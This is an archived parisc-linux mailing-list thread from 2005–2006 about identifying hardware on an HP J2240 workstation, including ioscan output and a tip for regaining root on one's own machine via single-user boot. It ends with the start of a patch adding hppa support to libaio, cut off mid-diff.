X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kz3FYzAUeSEkKr6WZHQhaXN1IGRvbwBd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23312

Duh!!!  Can you tell that it has been a long time since I've had a "real"
computer to play with?

Anyway, I now have a dual-boot (HP-UX 10 / Debian Linux) J2240.

Here's what SAM thinks is in the system:
Toshiba CD-ROM SCSI drive
IBM DDRS-39130WS (9GB disk)
IBM DDRS-39130WS (9GB disk)
FDDI (lan1)
100Base-T (lan0)
Cards
	Built-in RS-232 Interface
	Ultra2 Wide SCSI
	Built-in Parallel Interface
	Built-in Keyboard/Mouse
	Built-in RS-232 Interface (yes, another one)
Device List
	I/O Adapter
	PCI Bus Bridge - GSCtoPCI
	PCI(10110019) -- 3
	PCI FDDI Adapter
	PCI Bus Bridge - GSCtoPCI
	Ultra2 Wide SCSI
	IBM DDRS-39130WS
	IBM DDRS-39130WS
	Initiator
	PCI(10110019) -- Built-in #2
	Core I/O Adapter
	Built-in Parallel Interface
	Audio Interface
	Built-in SCSI
	Toshiba CD-ROM SCSI Drive
	C1537A 12 GB DDS3 Data Compression Tape Drive
	Initiator
	Built-in Keyboard/Mouse
	I/O Adapter
	PCI Bus Bridge - GSCtoPCI
	PCI(103c1005) -- 0
	Built-in RS-232 Interface
	Processor
	Processor
	Memory
		

Thanks for the help!!!!


-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org] 
Sent: Saturday, December 31, 2005 1:08 PM
To: Craig D. Lansing
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 - Almost there....

On Sat, Dec 31, 2005 at 11:21:48AM -0500, Craig D. Lansing wrote:
> If I could remember the
> root password (ergh!), I could poke around in SAM on the HP-UX partition.

You don't need to remember the root login.
Answer "Y" to "Interact with ISL" type "hpux -is" at the ISL prompt.

You'll be root in single user mode.

"There is no such thing as computer security without physical security."

grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Sat, 31 Dec 2005 23:32:43 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20060101063243.GA16296@colo.lackof.org>
References: <20051231180820.GA22653@colo.lackof.org>
	<000a01c60e8a$cac5bc70$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623972 17585 80.91.229.3 (22 Nov 2014 02:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <clansing@charter.net>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jan 2006 06:23:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 01 Jan 2006 07:23:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50C0A7D702;
	Sat, 31 Dec 2005 23:23:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18515-09; Sat, 31 Dec 2005 23:23:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 984FE7D707;
	Sat, 31 Dec 2005 23:23:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 380D07D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 23:23:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18631-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 23:23:49 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 999B27D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 23:23:49 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D755D36000F;
	Sat, 31 Dec 2005 23:32:44 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12724-10; Sat, 31 Dec 2005 23:32:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7A5CC36000C; Sat, 31 Dec 2005 23:32:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <000a01c60e8a$cac5bc70$3401a8c0@POGO>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KxDFY2o6eSEkOr6WZHQhaXN1IGRvb8Db
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23313

On Sat, Dec 31, 2005 at 11:21:06PM -0500, Craig D. Lansing wrote:
> Duh!!!  Can you tell that it has been a long time since I've had a "real"
> computer to play with?
> 
> Anyway, I now have a dual-boot (HP-UX 10 / Debian Linux) J2240.
> 
> Here's what SAM thinks is in the system:

"ioscan -fk" is the preferred output and I can
better understand what is in the box.
I don't understand what's really built-in or add-on
with the SAM output.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Sun, 1 Jan 2006 15:15:35 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
References: <20051231180820.GA22653@colo.lackof.org>
	<000a01c60e8a$cac5bc70$3401a8c0@POGO>
	<20060101063243.GA16296@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623972 17590 80.91.229.3 (22 Nov 2014 02:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jan 2006 14:15:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 01 Jan 2006 15:15:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF9717D6D2;
	Sun,  1 Jan 2006 07:15:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21230-06; Sun, 1 Jan 2006 07:15:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF19F7D6D5;
	Sun,  1 Jan 2006 07:15:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85CCB7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Jan 2006 07:15:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21230-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 Jan 2006 07:15:41 -0700 (MST)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.203])
	by free.linux.hp.com (Postfix) with ESMTP id B06CB7D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Jan 2006 07:15:40 -0700 (MST)
Original-Received: by nproxy.gmail.com with SMTP id o60so317944nfa
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 01 Jan 2006 06:15:36 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Xg/9ug3THvKlTuHP/R9KlCKDIjyHu1TDNJ5ZlUNOJGngjI7TyD5aE8lXMyVGBzwQu1BBtlmMukVEfH1kPudWpopl7BHcJk8wPZmchqIhROqZo4BtIdhT31yKs97H8FYDuLKI34bBxU1GEjHVg0mu/6uXreWGLCJkn86WFzq31A0=
Original-Received: by 10.48.30.17 with SMTP id d17mr468670nfd;
	Sun, 01 Jan 2006 06:15:35 -0800 (PST)
Original-Received: by 10.49.42.11 with HTTP; Sun, 1 Jan 2006 06:15:35 -0800 (PST)
In-Reply-To: <20060101063243.GA16296@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SYHFY/JGeSEkIb6WZHQhaXN1IGRvbwDb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23314

On 1/1/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sat, Dec 31, 2005 at 11:21:06PM -0500, Craig D. Lansing wrote:
> > Duh!!!  Can you tell that it has been a long time since I've had a "rea=
l"
> > computer to play with?
> >
> > Anyway, I now have a dual-boot (HP-UX 10 / Debian Linux) J2240.
> >
> > Here's what SAM thinks is in the system:
>
> "ioscan -fk" is the preferred output and I can
> better understand what is in the box.
> I don't understand what's really built-in or add-on
> with the SAM output.

And while you're at it, i'd love to have the output of 'cat
/proc/cpuinfo' 'cat /proc/iomem' 'cat /proc/ioports' 'cat
/proc/interrupts/' and 'dmesg' from Linux to add to this growing list
:
http://www.pateam.org/archive/logs/ ;)

Thx and happy new year to every one!

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 - Almost there....
Date: Mon, 2 Jan 2006 21:01:05 -0500
Lines: 108
Approved: news@gmane.org
Message-ID: <000501c61009$8ef37db0$3401a8c0@POGO>
References: <20060101063243.GA16296@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623972 17592 80.91.229.3 (22 Nov 2014 02:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Grant Grundler'" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2006 02:01:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 03 Jan 2006 03:01:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FEA07D6A2;
	Mon,  2 Jan 2006 19:01:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03687-02; Mon, 2 Jan 2006 19:01:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16FE47D699;
	Mon,  2 Jan 2006 19:01:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9170A7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 19:01:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03402-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jan 2006 19:01:21 -0700 (MST)
Original-Received: from mxsf34.cluster1.charter.net (mxsf34.cluster1.charter.net
	[209.225.28.159])
	by free.linux.hp.com (Postfix) with ESMTP id DA72F7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 19:01:20 -0700 (MST)
Original-Received: from mxip18a.cluster1.charter.net (mxip18a.cluster1.charter.net
	[209.225.28.148])
	by mxsf34.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	k0321Ipd003053 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jan 2006 21:01:18 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	(24.176.131.136)
	by mxip18a.cluster1.charter.net with ESMTP; 02 Jan 2006 21:01:11 -0500
X-IronPort-AV: i="3.99,323,1131339600"; 
	d="scan'208"; a="1955725075:sNHT551684034"
X-Mailer: Microsoft Office Outlook 11
Thread-Index: AcYOm+yrXnx9dA+tSv+tF/Y5YvT5ygBbYZww
In-Reply-To: <20060101063243.GA16296@colo.lackof.org>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rb/LY45beSEkVr6WZHQhaXN1IGRvb8DU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23315

I finally got the getty to work on HP-UX.  Here's the ioscan -fk output:

Class       I  H/W Path      Driver      S/W State   H/W Type
Description
============================================================================
==
bc          0                root        CLAIMED     BUS_NEXUS    
bc          1  8             ccio        CLAIMED     BUS_NEXUS    I/O
Adapter
ba          0  8/0           GSCtoPCI    CLAIMED     BUS_NEXUS    PCI Bus
Bridge
 - GSCtoPCI
unknown    -1  8/0/3/0                   UNCLAIMED   UNKNOWN
PCI(10110019) 
-- 3
lan         1  8/0/4/0       fddi4       CLAIMED     INTERFACE    PCI FDDI
Adapt
er
tty         0  8/0/63        asio0       CLAIMED     INTERFACE    Built-in
RS-23
2C
ba          1  8/4           GSCtoPCI    CLAIMED     BUS_NEXUS    PCI Bus
Bridge
 - GSCtoPCI
ext_bus     0  8/4/19/0      c720        CLAIMED     INTERFACE    Ultra2
Wide SC
SI
target      0  8/4/19/0.5    tgt         CLAIMED     DEVICE       
disk        0  8/4/19/0.5.0  sdisk       CLAIMED     DEVICE       IBM
DDRS-3
9130WS
target      1  8/4/19/0.6    tgt         CLAIMED     DEVICE       
disk        1  8/4/19/0.6.0  sdisk       CLAIMED     DEVICE       IBM
DDRS-3
9130WS
target      2  8/4/19/0.7    tgt         CLAIMED     DEVICE       
ctl         0  8/4/19/0.7.0  sctl        CLAIMED     DEVICE       Initiator
lan         0  8/4/20/0      btlan3      CLAIMED     INTERFACE
PCI(10110019) 
-- Built-in #2
ba          2  8/12          bus_adapter CLAIMED     BUS_NEXUS    Core I/O
Adapt
er
ext_bus     2  8/12/0        CentIf      CLAIMED     INTERFACE    Built-in
Paral
lel Interface
audio       0  8/12/1        audio       CLAIMED     INTERFACE    Built-in
Audio

ext_bus     1  8/12/5        c720        CLAIMED     INTERFACE    Built-in
SCSI
target      3  8/12/5.2      tgt         CLAIMED     DEVICE       
disk        2  8/12/5.2.0    sdisk       CLAIMED     DEVICE       TOSHIBA
CD-ROM
 XM-5701TA
target      4  8/12/5.3      tgt         CLAIMED     DEVICE       
tape        0  8/12/5.3.0    stape       CLAIMED     DEVICE       HP
C1537A

target      5  8/12/5.7      tgt         CLAIMED     DEVICE       
ctl         1  8/12/5.7.0    sctl        CLAIMED     DEVICE       Initiator
ps2         0  8/12/7        ps2         CLAIMED     INTERFACE    Built-in
Keybo
ard/Mouse
bc          2  10            ccio        CLAIMED     BUS_NEXUS    I/O
Adapter
ba          3  10/4          GSCtoPCI    CLAIMED     BUS_NEXUS    PCI Bus
Bridge
 - GSCtoPCI
graphics    0  10/4/0/0      graph3      CLAIMED     INTERFACE
PCI(103c1005) 
-- 0
tty         1  10/4/63       asio0       CLAIMED     INTERFACE    Built-in
RS-23
2C
processor   0  32            processor   CLAIMED     PROCESSOR    Processor
processor   1  34            processor   CLAIMED     PROCESSOR    Processor
memory      0  49            memory      CLAIMED     MEMORY       Memory

-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org] 
Sent: Sunday, January 01, 2006 1:33 AM
To: Craig D. Lansing
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 - Almost there....

On Sat, Dec 31, 2005 at 11:21:06PM -0500, Craig D. Lansing wrote:
> Duh!!!  Can you tell that it has been a long time since I've had a "real"
> computer to play with?
> 
> Anyway, I now have a dual-boot (HP-UX 10 / Debian Linux) J2240.
> 
> Here's what SAM thinks is in the system:

"ioscan -fk" is the preferred output and I can
better understand what is in the box.
I don't understand what's really built-in or add-on
with the SAM output.

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] libaio parisc partial support
Date: Mon, 2 Jan 2006 22:56:36 -0500
Lines: 149
Approved: news@gmane.org
Message-ID: <20060103035636.GB8130@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623973 17594 80.91.229.3 (22 Nov 2014 02:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: lamont@debian.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2006 03:57:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 03 Jan 2006 04:57:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 823A87D6AA;
	Mon,  2 Jan 2006 20:57:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04392-01; Mon, 2 Jan 2006 20:57:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAB4C7D6A2;
	Mon,  2 Jan 2006 20:57:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95FD87D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 20:57:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03902-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jan 2006 20:57:02 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id CE4ED7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 20:57:01 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1A1B423E83;
	Mon,  2 Jan 2006 22:56:57 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25585-05; Mon, 2 Jan 2006 22:56:56 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 4591123E82;
	Mon,  2 Jan 2006 22:56:56 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 4DC323B059; Mon,  2 Jan 2006 22:56:36 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q5PLY0AQeSEkPr6WZHQhaXN1IGRvb4A1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23316

Got this mostly together, but I'm too lazy/etc to test...

Anyone want to check that,
	1 - I'm correctly doing the ldi with the right arg #. I suppose
	    this would be easier if I just used a named input.
	2 - What to do about errno setting in the syscall return.

syscall-arch.h on most other ports includes the syscall numbers, but
it seems ours already includes them, so I haven't. For reference they're
215->219 iirc.

I glanced at the glibc src to derive the needed macros, but it wasn't
cribbed from there, so I don't think there's any licensing issues.

Oh, I just objdump'd it, and the delay slot of __io_get_events has
ldi d9, %r20 in it, which looks to be the right syscall nr. So the
resulting lib probably works, but the harness doesn't compile and I'm
too lazy to look into it.

Anyways, enjoy.

	Kyle

--- a/debian/control	2006-01-02 22:33:58.000000000 -0500
+++ b/debian/control	2006-01-02 22:26:57.000000000 -0500
@@ -7,7 +7,7 @@
 
 Package: libaio
 Section: libs
-Architecture: i386 ia64 s390 alpha powerpc
+Architecture: i386 ia64 s390 alpha powerpc hppa
 Depends:
 Description: kernel aio access library
  This library enables userspace to use kernel asynchronous I/O system
diff -Nur a/src/libaio.h b/src/libaio.h
--- a/src/libaio.h	2005-04-01 15:31:32.000000000 -0500
+++ b/src/libaio.h	2006-01-02 22:01:10.000000000 -0500
@@ -60,7 +60,7 @@
 #define PADDED(x, y)	unsigned y; x
 #define PADDEDptr(x,y)	x
 #define PADDEDul(x, y)	unsigned long x
-#elif defined(__PPC__)  /* big endian, 32 bits */
